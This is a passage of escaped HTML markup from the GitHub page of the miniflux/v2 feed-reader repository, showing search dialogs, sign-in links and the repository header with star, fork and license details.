name=\"feedback\" class=\"form-control width-full mb-2\" style=\"height: 120px\" id=\"feedback\"></textarea>\n          <input name=\"include_email\" id=\"include_email\" aria-label=\"Include my email address so I can be contacted\" class=\"form-control mr-2\" type=\"checkbox\">\n          <label for=\"include_email\" style=\"font-weight: normal\">Include my email address so I can be contacted</label>\n</form></div>\n      </scrollable-region>\n      <div data-view-component=\"true\" class=\"Overlay-footer Overlay-footer--alignEnd\">          <button data-close-dialog-id=\"feedback-dialog\" type=\"button\" data-view-component=\"true\" class=\"btn\">    Cancel\n</button>\n          <button form=\"code-search-feedback-form\" data-action=\"click:qbsearch-input#submitFeedback\" type=\"submit\" data-view-component=\"true\" class=\"btn-primary btn\">    Submit feedback\n</button>\n</div>\n</dialog></dialog-helper>\n\n    <custom-scopes data-target=\"qbsearch-input.customScopesManager\">\n    \n<dialog-helper>\n  <dialog data-target=\"custom-scopes.customScopesModalDialog\" data-action=\"close:qbsearch-input#handleDialogClose cancel:qbsearch-input#handleDialogClose\" id=\"custom-scopes-dialog\" aria-modal=\"true\" aria-labelledby=\"custom-scopes-dialog-title\" aria-describedby=\"custom-scopes-dialog-description\" data-view-component=\"true\" class=\"Overlay Overlay-whenNarrow Overlay--size-medium Overlay--motion-scaleFade\">\n    <div data-view-component=\"true\" class=\"Overlay-header Overlay-header--divided\">\n  <div class=\"Overlay-headerContentWrap\">\n    <div class=\"Overlay-titleWrap\">\n      <h1 class=\"Overlay-title \" id=\"custom-scopes-dialog-title\">\n        Saved searches\n      </h1>\n        <h2 id=\"custom-scopes-dialog-description\" class=\"Overlay-description\">Use saved searches to filter your results more quickly</h2>\n    </div>\n    <div class=\"Overlay-actionWrap\">\n      <button data-close-dialog-id=\"custom-scopes-dialog\" aria-label=\"Close\" type=\"button\" data-view-component=\"true\" class=\"close-button Overlay-closeButton\"><svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-x\">\n    <path d=\"M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z\"></path>\n</svg></button>\n    </div>\n  </div>\n</div>\n      <scrollable-region data-labelled-by=\"custom-scopes-dialog-title\">\n        <div data-view-component=\"true\" class=\"Overlay-body\">        <div data-target=\"custom-scopes.customScopesModalDialogFlash\"></div>\n\n        <div hidden class=\"create-custom-scope-form\" data-target=\"custom-scopes.createCustomScopeForm\">\n        <!-- '\"` --><!-- </textarea></xmp> --></option></form><form id=\"custom-scopes-dialog-form\" data-turbo=\"false\" action=\"/search/custom_scopes\" accept-charset=\"UTF-8\" method=\"post\"><input type=\"hidden\" data-csrf=\"true\" name=\"authenticity_token\" value=\"9ProXuHGrSkHpJJyHzdyCIxmnhly+GonnzsvgNyoob8BOJDEIQDQgND0D650OfdDSRjB7iusM0OCn/o4VSA1Dg==\" />\n          <div data-target=\"custom-scopes.customScopesModalDialogFlash\"></div>\n\n          <input type=\"hidden\" id=\"custom_scope_id\" name=\"custom_scope_id\" data-target=\"custom-scopes.customScopesIdField\">\n\n          <div class=\"form-group\">\n            <label for=\"custom_scope_name\">Name</label>\n            <auto-check src=\"/search/custom_scopes/check_name\" required>\n              <input\n                type=\"text\"\n                name=\"custom_scope_name\"\n                id=\"custom_scope_name\"\n                data-target=\"custom-scopes.customScopesNameField\"\n                class=\"form-control\"\n                autocomplete=\"off\"\n                placeholder=\"github-ruby\"\n                required\n                maxlength=\"50\">\n              <input type=\"hidden\" data-csrf=\"true\" value=\"MsuwCa3Z9zPNfQlru6MyU/GS8wve5LlBx3JhZnBIkKL2PHlXeo0gTK7x7GCLj9O3Xscy2kE4dBxGhLIWbs/gIg==\" />\n            </auto-check>\n          </div>\n\n          <div class=\"form-group\">\n            <label for=\"custom_scope_query\">Query</label>\n            <input\n              type=\"text\"\n              name=\"custom_scope_query\"\n              id=\"custom_scope_query\"\n              data-target=\"custom-scopes.customScopesQueryField\"\n              class=\"form-control\"\n              autocomplete=\"off\"\n              placeholder=\"(repo:mona/a OR repo:mona/b) AND lang:python\"\n              required\n              maxlength=\"500\">\n          </div>\n\n          <p class=\"text-small color-fg-muted\">\n            To see all available qualifiers, see our <a class=\"Link--inTextBlock\" href=\"https://docs.github.com/search-github/github-code-search/understanding-github-code-search-syntax\">documentation</a>.\n          </p>\n</form>        </div>\n\n        <div data-target=\"custom-scopes.manageCustomScopesForm\">\n          <div data-target=\"custom-scopes.list\"></div>\n        </div>\n\n</div>\n      </scrollable-region>\n      <div data-view-component=\"true\" class=\"Overlay-footer Overlay-footer--alignEnd Overlay-footer--divided\">          <button data-action=\"click:custom-scopes#customScopesCancel\" type=\"button\" data-view-component=\"true\" class=\"btn\">    Cancel\n</button>\n          <button form=\"custom-scopes-dialog-form\" data-action=\"click:custom-scopes#customScopesSubmit\" data-target=\"custom-scopes.customScopesSubmitButton\" type=\"submit\" data-view-component=\"true\" class=\"btn-primary btn\">    Create saved search\n</button>\n</div>\n</dialog></dialog-helper>\n    </custom-scopes>\n  </div>\n</qbsearch-input><input type=\"hidden\" data-csrf=\"true\" class=\"js-data-jump-to-suggestions-path-csrf\" value=\"N7GHyytWRlNw2xkVpWORMsVqaUq1NNa8gORcCIMHvwgdmg9z96iGRS6Eb/ZYCpIqjKRR11UU6LMku0KBGelHjg==\" />\n\n\n          <div class=\"position-relative mr-lg-3 d-lg-inline-block\">\n            <a href=\"/login?return_to=https%3A%2F%2Fgithub.com%2Fminiflux%2Fv2\"\n              class=\"HeaderMenu-link HeaderMenu-link--sign-in flex-shrink-0 no-underline d-block d-lg-inline-block border border-lg-0 rounded rounded-lg-0 p-2 p-lg-0\"\n              data-hydro-click=\"{&quot;event_type&quot;:&quot;authentication.click&quot;,&quot;payload&quot;:{&quot;location_in_page&quot;:&quot;site header menu&quot;,&quot;repository_id&quot;:null,&quot;auth_type&quot;:&quot;SIGN_UP&quot;,&quot;originating_url&quot;:&quot;https://github.com/miniflux/v2&quot;,&quot;user_id&quot;:null}}\" data-hydro-click-hmac=\"a094da0e4bd50d64543e773c3d759f434e62451fb768d27928ee864059a5f353\"\n              data-ga-click=\"(Logged out) Header, clicked Sign in, text:sign-in\">\n              Sign in\n            </a>\n          </div>\n\n            <a href=\"/signup?ref_cta=Sign+up&amp;ref_loc=header+logged+out&amp;ref_page=%2F%3Cuser-name%3E%2F%3Crepo-name%3E&amp;source=header-repo&amp;source_repo=miniflux%2Fv2\"\n              class=\"HeaderMenu-link HeaderMenu-link--sign-up flex-shrink-0 d-none d-lg-inline-block no-underline border color-border-default rounded px-2 py-1\"\n              data-hydro-click=\"{&quot;event_type&quot;:&quot;authentication.click&quot;,&quot;payload&quot;:{&quot;location_in_page&quot;:&quot;site header menu&quot;,&quot;repository_id&quot;:null,&quot;auth_type&quot;:&quot;SIGN_UP&quot;,&quot;originating_url&quot;:&quot;https://github.com/miniflux/v2&quot;,&quot;user_id&quot;:null}}\" data-hydro-click-hmac=\"a094da0e4bd50d64543e773c3d759f434e62451fb768d27928ee864059a5f353\"\n              data-analytics-event=\"{&quot;category&quot;:&quot;Sign up&quot;,&quot;action&quot;:&quot;click to sign up for account&quot;,&quot;label&quot;:&quot;ref_page:/&lt;user-name&gt;/&lt;repo-name&gt;;ref_cta:Sign up;ref_loc:header logged out&quot;}\"\n            >\n              Sign up\n            </a>\n        </div>\n      </div>\n    </div>\n  </div>\n</header>\n\n      <div hidden=\"hidden\" data-view-component=\"true\" class=\"js-stale-session-flash stale-session-flash flash flash-warn flash-full mb-3\">\n  \n        <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-alert\">\n    <path d=\"M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z\"></path>\n</svg>\n        <span class=\"js-stale-session-flash-signed-in\" hidden>You signed in with another tab or window. <a class=\"Link--inTextBlock\" href=\"\">Reload</a> to refresh your session.</span>\n        <span class=\"js-stale-session-flash-signed-out\" hidden>You signed out in another tab or window. <a class=\"Link--inTextBlock\" href=\"\">Reload</a> to refresh your session.</span>\n        <span class=\"js-stale-session-flash-switched\" hidden>You switched accounts on another tab or window. <a class=\"Link--inTextBlock\" href=\"\">Reload</a> to refresh your session.</span>\n\n    <button id=\"icon-button-f838b96e-15ac-4e46-9329-ab9631da5aa4\" aria-labelledby=\"tooltip-8469ebf2-e839-43e3-afb2-c8a9310ff6a6\" type=\"button\" data-view-component=\"true\" class=\"Button Button--iconOnly Button--invisible Button--medium flash-close js-flash-close\">  <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-x Button-visual\">\n    <path d=\"M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z\"></path>\n</svg>\n</button><tool-tip id=\"tooltip-8469ebf2-e839-43e3-afb2-c8a9310ff6a6\" for=\"icon-button-f838b96e-15ac-4e46-9329-ab9631da5aa4\" popover=\"manual\" data-direction=\"s\" data-type=\"label\" data-view-component=\"true\" class=\"sr-only position-absolute\">Dismiss alert</tool-tip>\n\n\n  \n</div>\n    </div>\n\n  <div id=\"start-of-content\" class=\"show-on-focus\"></div>\n\n\n\n\n\n\n\n\n    <div id=\"js-flash-container\" data-turbo-replace>\n\n\n\n\n\n  <template class=\"js-flash-template\">\n    \n<div class=\"flash flash-full   {{ className }}\">\n  <div class=\"px-2\" >\n    <button autofocus class=\"flash-close js-flash-close\" type=\"button\" aria-label=\"Dismiss this message\">\n      <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-x\">\n    <path d=\"M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z\"></path>\n</svg>\n    </button>\n    <div aria-atomic=\"true\" role=\"alert\" class=\"js-flash-alert\">\n      \n      <div>{{ message }}</div>\n\n    </div>\n  </div>\n</div>\n  </template>\n</div>\n\n\n    \n    <include-fragment class=\"js-notification-shelf-include-fragment\" data-base-src=\"https://github.com/notifications/beta/shelf\"></include-fragment>\n\n\n\n\n\n\n  <div\n    class=\"application-main \"\n    data-commit-hovercards-enabled\n    data-discussion-hovercards-enabled\n    data-issue-and-pr-hovercards-enabled\n  >\n        <div itemscope itemtype=\"http://schema.org/SoftwareSourceCode\" class=\"\">\n    <main id=\"js-repo-pjax-container\" >\n      \n  \n\n\n\n\n\n    \n    \n\n    \n\n\n\n\n\n\n  \n  <div id=\"repository-container-header\"  class=\"pt-3 hide-full-screen\" style=\"background-color: var(--page-header-bgColor, var(--color-page-header-bg));\" data-turbo-replace>\n\n      <div class=\"d-flex flex-wrap flex-justify-end mb-3  px-3 px-md-4 px-lg-5\" style=\"gap: 1rem;\">\n\n        <div class=\"flex-auto min-width-0 width-fit mr-3\">\n            \n  <div class=\" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal\">\n      <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-repo color-fg-muted mr-2\">\n    <path d=\"M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z\"></path>\n</svg>\n    \n    <span class=\"author flex-self-stretch\" itemprop=\"author\">\n      <a class=\"url fn\" rel=\"author\" data-hovercard-type=\"organization\" data-hovercard-url=\"/orgs/miniflux/hovercard\" data-octo-click=\"hovercard-link-click\" data-octo-dimensions=\"link_type:self\" href=\"/miniflux\">\n        miniflux\n</a>    </span>\n    <span class=\"mx-1 flex-self-stretch color-fg-muted\">/</span>\n    <strong itemprop=\"name\" class=\"mr-2 flex-self-stretch\">\n      <a data-pjax=\"#repo-content-pjax-container\" data-turbo-frame=\"repo-content-turbo-frame\" href=\"/miniflux/v2\">v2</a>\n    </strong>\n\n    <span></span><span class=\"Label Label--secondary v-align-middle mr-1\">Public</span>\n  </div>\n\n\n        </div>\n\n        <div id=\"repository-details-container\" data-turbo-replace>\n            <ul class=\"pagehead-actions flex-shrink-0 d-none d-md-inline\" style=\"padding: 2px 0;\">\n    \n      \n\n  <li>\n            <a href=\"/login?return_to=%2Fminiflux%2Fv2\" rel=\"nofollow\" data-hydro-click=\"{&quot;event_type&quot;:&quot;authentication.click&quot;,&quot;payload&quot;:{&quot;location_in_page&quot;:&quot;notification subscription menu watch&quot;,&quot;repository_id&quot;:null,&quot;auth_type&quot;:&quot;LOG_IN&quot;,&quot;originating_url&quot;:&quot;https://github.com/miniflux/v2&quot;,&quot;user_id&quot;:null}}\" data-hydro-click-hmac=\"36b8c203bf8732c432e8f1a3a3b3953f15fcab009caae7702824650051e312e7\" aria-label=\"You must be signed in to change notification settings\" data-view-component=\"true\" class=\"tooltipped tooltipped-s btn-sm btn\">    <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-bell mr-2\">\n    <path d=\"M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z\"></path>\n</svg>Notifications\n</a>\n  </li>\n\n  <li>\n          <a icon=\"repo-forked\" id=\"fork-button\" href=\"/login?return_to=%2Fminiflux%2Fv2\" rel=\"nofollow\" data-hydro-click=\"{&quot;event_type&quot;:&quot;authentication.click&quot;,&quot;payload&quot;:{&quot;location_in_page&quot;:&quot;repo details fork button&quot;,&quot;repository_id&quot;:111364256,&quot;auth_type&quot;:&quot;LOG_IN&quot;,&quot;originating_url&quot;:&quot;https://github.com/miniflux/v2&quot;,&quot;user_id&quot;:null}}\" data-hydro-click-hmac=\"1d8e95c169ea092cae7d62b1cdc4102c9aec97054e541829f79006b1badf1d4d\" data-view-component=\"true\" class=\"btn-sm btn\">    <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-repo-forked mr-2\">\n    <path d=\"M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z\"></path>\n</svg>Fork\n    <span id=\"repo-network-counter\" data-pjax-replace=\"true\" data-turbo-replace=\"true\" title=\"661\" data-view-component=\"true\" class=\"Counter\">661</span>\n</a>\n  </li>\n\n  <li>\n        <div data-view-component=\"true\" class=\"BtnGroup d-flex\">\n        <a href=\"/login?return_to=%2Fminiflux%2Fv2\" rel=\"nofollow\" data-hydro-click=\"{&quot;event_type&quot;:&quot;authentication.click&quot;,&quot;payload&quot;:{&quot;location_in_page&quot;:&quot;star button&quot;,&quot;repository_id&quot;:111364256,&quot;auth_type&quot;:&quot;LOG_IN&quot;,&quot;originating_url&quot;:&quot;https://github.com/miniflux/v2&quot;,&quot;user_id&quot;:null}}\" data-hydro-click-hmac=\"c93708d0cff82b3112452c4eef2a0b246a668244321c4b84096092a8495104dd\" aria-label=\"You must be signed in to star a repository\" data-view-component=\"true\" class=\"tooltipped tooltipped-s btn-sm btn BtnGroup-item\">    <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-star v-align-text-bottom d-inline-block mr-2\">\n    <path d=\"M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z\"></path>\n</svg><span data-view-component=\"true\" class=\"d-inline\">\n          Star\n</span>          <span id=\"repo-stars-counter-star\" aria-label=\"5942 users starred this repository\" data-singular-suffix=\"user starred this repository\" data-plural-suffix=\"users starred this repository\" data-turbo-replace=\"true\" title=\"5,942\" data-view-component=\"true\" class=\"Counter js-social-count\">5.9k</span>\n</a>        <button aria-label=\"You must be signed in to add this repository to a list\" type=\"button\" disabled=\"disabled\" data-view-component=\"true\" class=\"btn-sm btn BtnGroup-item px-2\">    <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-triangle-down\">\n    <path d=\"m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z\"></path>\n</svg>\n</button></div>\n  </li>\n\n    <li>\n        \n\n    </li>\n</ul>\n\n        </div>\n      </div>\n\n        <div id=\"responsive-meta-container\" data-turbo-replace>\n      <div class=\"d-block d-md-none mb-2 px-3 px-md-4 px-lg-5\">\n      <p class=\"f4 mb-3 \">\n        Minimalist and opinionated feed reader\n      </p>\n      <div class=\"mb-2 d-flex flex-items-center Link--secondary\">\n        <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-link flex-shrink-0 mr-2\">\n    <path d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\"></path>\n</svg>\n        <span class=\"flex-auto min-width-0 css-truncate css-truncate-target width-fit\">\n          <a title=\"https://miniflux.app\" role=\"link\" target=\"_blank\" class=\"text-bold\" rel=\"noopener noreferrer\" href=\"https://miniflux.app\">miniflux.app</a>\n        </span>\n      </div>\n\n    \n      <h3 class=\"sr-only\">License</h3>\n  <div class=\"mb-2\">\n    <a href=\"/miniflux/v2/blob/main/LICENSE\"\n      class=\"Link--muted\"\n      \n      data-analytics-event=\"{&quot;category&quot;:&quot;Repository Overview&quot;,&quot;action&quot;:&quot;click&quot;,&quot;label&quot;:&quot;location:sidebar;file:license&quot;}\"\n    >\n      <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-law mr-2\">\n    <path d=\"M8.75.75V2h.985c.304 0 .603.08.867.231l1.29.736c.038.022.08.033.124.033h2.234a.75.75 0 0 1 0 1.5h-.427l2.111 4.692a.75.75 0 0 1-.154.838l-.53-.53.529.531-.001.002-.002.002-.006.006-.006.005-.01.01-.045.04c-.21.176-.441.327-.686.45C14.556 10.78 13.88 11 13 11a4.498 4.498 0 0 1-2.023-.454 3.544 3.544 0 0 1-.686-.45l-.045-.04-.016-.015-.006-.006-.004-.004v-.001a.75.75 0 0 1-.154-.838L12.178 4.5h-.162c-.305 0-.604-.079-.868-.231l-1.29-.736a.245.245 0 0 0-.124-.033H8.75V13h2.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1 0-1.5h2.5V3.5h-.984a.245.245 0 0 0-.124.033l-1.289.737c-.265.15-.564.23-.869.23h-.162l2.112 4.692a.75.75 0 0 1-.154.838l-.53-.53.529.531-.001.002-.002.002-.006.006-.016.015-.045.04c-.21.176-.441.327-.686.45C4.556 10.78 3.88 11 3 11a4.498 4.498 0 0 1-2.023-.454 3.544 3.544 0 0 1-.686-.45l-.045-.04-.016-.015-.006-.006-.004-.004v-.001a.75.75 0 0 1-.154-.838L2.178 4.5H1.75a.75.75 0 0 1 0-1.5h2.234a.249.249 0 0 0 .125-.033l1.288-.737c.265-.15.564-.23.869-.23h.984V.75a.75.75 0 0 1 1.5 0Zm2.945 8.477c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L13 6.327Zm-10 0c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L3 6.327Z\"></path>\n</svg>\n     Apache-2.0 license\n    </a>\n  </div>\n\n\n    <div class=\"mb-3\">\n        <a class=\"Link--secondary no-underline mr-3\" href=\"/miniflux/v2/stargazers\">\n          <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-star mr-1\">\n    <path d=\"M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z\"></path>\n</svg>\n          <span class=\"text-bold\">5.9k</span>\n          stars\n</a>        <a class=\"Link--secondary no-underline mr-3\" href=\"/miniflux/v2/forks\">\n          <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-repo-forked mr-1\">\n    <path d=\"M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z\"></path>\n</svg>\n          <span class=\"text-bold\">661</span>\n          forks\n</a>          <a class=\"Link--secondary no-underline mr-3 d-inline-block\" href=\"/miniflux/v2/branches\">\n            <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-git-branch mr-1\">\n    <path d=\"M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z\"></path>\n</svg>\n            <span>Branches</span>\n</a>          <a class=\"Link--secondary no-underline d-inline-block\" href=\"/miniflux/v2/tags\">\n            <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-tag mr-1\">\n    <path d=\"M1 7.775V2.75C1 1.784 1.784 1 2.75 1h5.025c.464 0 .91.184 1.238.513l6.25 6.25a1.75 1.75 0 0 1 0 2.474l-5.026 5.026a1.75 1.75 0 0 1-2.474 0l-6.25-6.25A1.752 1.752 0 0 1 1 7.775Zm1.5 0c0 .066.026.13.073.177l6.25 6.25a.25.25 0 0 0 .354 0l5.025-5.025a.25.25 0 0 0 0-.354l-6.25-6.25a.25.25 0 0 0-.177-.073H2.75a.25.25 0 0 0-.25.25ZM6 5a1 1 0 1 1 0 2 1 1 0 0 1 0-2Z\"></path>\n</svg>\n            <span>Tags</span>\n</a>        <a class=\"Link--secondary no-underline d-inline-block\" href=\"/miniflux/v2/activity\">\n          <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-pulse mr-1\">\n    <path d=\"M6 2c.306 0 .582.187.696.471L10 10.731l1.304-3.26A.751.751 0 0 1 12 7h3.25a.75.75 0 0 1 0 1.5h-2.742l-1.812 4.528a.751.751 0 0 1-1.392 0L6 4.77 4.696 8.03A.75.75 0 0 1 4 8.5H.75a.75.75 0 0 1 0-1.5h2.742l1.812-4.529A.751.751 0 0 1 6 2Z\"></path>\n</svg>\n          <span>Activity</span>\n</a>    </div>\n\n      <div class=\"d-flex flex-wrap gap-2\">\n        <div class=\"flex-1\">\n            <div data-view-component=\"true\" class=\"BtnGroup d-flex\">\n        <a href=\"/login?return_to=%2Fminiflux%2Fv2\" rel=\"nofollow\" data-hydro-click=\"{&quot;event_type&quot;:&quot;authentication.click&quot;,&quot;payload&quot;:{&quot;location_in_page&quot;:&quot;star button&quot;,&quot;repository_id&quot;:111364256,&quot;auth_type&quot;:&quot;LOG_IN&quot;,&quot;originating_url&quot;:&quot;https://github.com/miniflux/v2&quot;,&quot;user_id&quot;:null}}\" data-hydro-click-hmac=\"c93708d0cff82b3112452c4eef2a0b246a668244321c4b84096092a8495104dd\" aria-label=\"You must be signed in to star a repository\" data-view-component=\"true\" class=\"tooltipped tooltipped-s btn-sm btn btn-block BtnGroup-item\">    <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-star v-align-text-bottom d-inline-block mr-2\">\n    <path d=\"M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 